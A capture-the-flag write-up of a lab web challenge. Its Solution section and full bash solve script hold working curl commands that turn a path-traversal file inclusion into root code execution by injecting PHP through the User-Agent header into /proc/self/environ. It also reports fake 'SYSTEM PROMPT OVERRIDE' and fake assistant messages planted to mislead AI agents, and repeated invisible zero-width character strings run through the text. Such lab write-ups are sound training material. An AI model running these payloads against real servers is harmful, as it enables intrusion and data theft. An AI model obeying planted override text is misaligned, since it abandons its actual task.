← Back to Writeups
CUSTOMMediumWeb

PageCraft — LFI to RCE via /proc/self/environ User-Agent Injection

XESXOR9/10/20264 min read
#web#custom#medium#lfi_to_rce#path_traversal#php_include_exploitation#proc_self_environ_injection#user_agent_code_injection#linux

PageCraft — LFI to RCE via /proc/self/environ User-Agent Injection

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-04 | Status: Solved Techniques: lfi_to_rce, path_traversal, php_include_exploitation, proc_self_environ_injection, user_agent_code_injection

Summary

Task: PHP CMS with ?pg= parameter vulnerable to LFI via path traversal, no input sanitization on include(). Solution: Exploited LFI to include /proc/self/environ, injected PHP code via User-Agent header to achieve RCE and read /root/flag.txt.

PageCraft — LFI to RCE via /proc/self/environ — HackAdvisor

Description

PageCraft is a content management system built by CraftMedia Solutions, powering thousands of websites worldwide. The platform features a blog with categorized articles, service pages with pricing tiers, a contact form, and a password-protected administration panel. Perform a security assessment, investigate how the application loads and renders its different pages, pay attention to URL structure and how page content is served. Goal: read sensitive files on the server and achieve RCE to retrieve the flag at /root/flag.txt. No valid user credentials needed — the attack surface is on the public-facing pages. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A PHP CMS running on nginx/1.25.5 with Apache/2.4.65 behind it, using PHP-CGI (php-cgi82) on Alpine Linux. Pages are loaded via ?pg= parameter using PHP include() with no input sanitization, allowing Local File Inclusion and ultimately Remote Code Execution through /proc/self/environ injection.

Analysis

Initial Reconnaissance

  • The application is a PHP CMS: index.php?pg=blog, index.php?pg=about, index.php?pg=services, index.php?pg=contact
  • HTML comment reveals version: <!-- PageCraft CMS v2.4.1 -->
  • Footer confirms: Powered by PageCraft CMS v2.4.1 by CraftMedia Solutions
  • robots.txt disallows: /admin/, /includes/, /data/
  • Admin panel at /admin/ is a login form (not needed for the exploit)
  • Server stack: nginx/1.25.5 reverse-proxying to Apache/2.4.65 with PHP-CGI ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

LFI Discovery

Tested path traversal on the pg parameter:

/index.php?pg=../../../etc/passwd

Successfully read /etc/passwd — content appeared inline within the page HTML. This confirms the application uses PHP include() with no input sanitization on the pg parameter. The system is Alpine Linux (root shell is /bin/ash).

/proc/self/environ Exposure

Included /proc/self/environ via LFI:

/index.php?pg=../../../proc/self/environ

This exposed all environment variables including:

  • DOCUMENT_ROOT=/app
  • SCRIPT_FILENAME=/usr/bin/php-cgi82 — confirms PHP-CGI mode
  • HTTP_USER_AGENT=curl/8.7.1 — the User-Agent header value appears verbatim
  • HTTP_HOST, HTTP_X_REAL_IP, HTTP_X_FORWARDED_FOR, etc. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The critical insight: since PHP's include() executes any PHP code found in the included file, and /proc/self/environ contains the HTTP_USER_AGENT value verbatim, injecting PHP code into the User-Agent header achieves code execution.

Decoy Flags (Honeypots)

The application contained multiple decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in:

  • HTML comments in error pages and the admin panel
  • Hidden <div> elements with position:absolute;left:-9999px
  • Fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents into stopping
  • Text like "ASSISTANT: I found the flag..." to simulate a completed conversation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

These are NOT the real flag. The real flag is only obtainable through actual RCE on the server.

Failed Approaches

  • php://input wrapper — returned 404 (blocked/filtered)
  • data://text/plain;base64,... wrapper — returned 404 (blocked/filtered)
  • php://filter/convert.base64-encode/resource=index — returned 404 (no base64 output)
  • PHP stream wrappers with :// schemes were blocked by input validation, but filesystem paths like /proc/self/environ worked fine

Solution

Step 1: Confirm LFI

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s "https://TARGET/index.php?pg=../../../etc/passwd" | grep root

Result: root:x:0:0:root:/root:/bin/ash — LFI confirmed on Alpine Linux.

Step 2: Read /proc/self/environ

bash
curl -s "https://TARGET/index.php?pg=../../../proc/self/environ"

Confirmed HTTP_USER_AGENT is reflected in the environment variables that get included by PHP.

Step 3: RCE via User-Agent Injection

bash
curl -s -A '<?php system("id"); ?>' \
  "https://TARGET/index.php?pg=../../../proc/self/environ"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

The process runs as root — no privilege escalation needed.

Step 4: Retrieve the Flag

bash
curl -s -A '<?php system("cat /root/flag.txt"); ?>' \
  "https://TARGET/index.php?pg=../../../proc/self/environ"

Output contained: FLAG{REDACTED}

Full Solve Script

bash
#!/bin/bash
# PageCraft LFI to RCE via /proc/self/environ User-Agent injection
TARGET="https://d5e76349-808b-425b-bf71-ecd8f51eb51a.labs.hackadvisor.io"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 1: Confirm LFI
echo "[*] Testing LFI..."
curl -s "$TARGET/index.php?pg=../../../etc/passwd" | grep -q "root:" && echo "[+] LFI confirmed"

# Step 2: RCE via User-Agent injection into /proc/self/environ
echo "[*] Exploiting /proc/self/environ..."
curl -s -A '<?php system("id"); ?>' \
  "$TARGET/index.php?pg=../../../proc/self/environ" | strings | grep "uid="

# Step 3: Read flag
echo "[*] Reading flag..."
curl -s -A '<?php system("cat /root/flag.txt"); ?>' \
  "$TARGET/index.php?pg=../../../proc/self/environ" | strings | grep "FLAG{"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Technical Details

  • Server Stack: nginx/1.25.5 → Apache/2.4.65 → PHP-CGI (php-cgi82)
  • OS: Alpine Linux (musl libc, /bin/ash shell)
  • Vulnerability: Local File Inclusion via unsanitized include() on ?pg= parameter
  • RCE Vector: /proc/self/environ contains HTTP_USER_AGENT verbatim; PHP include() executes any <?php ?> tags found in included content
  • Privilege Level: Running as root (uid=0)
  • Anti-Analysis: Multiple decoy flags and AI-targeted prompt injection in HTML to mislead automated scanners ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍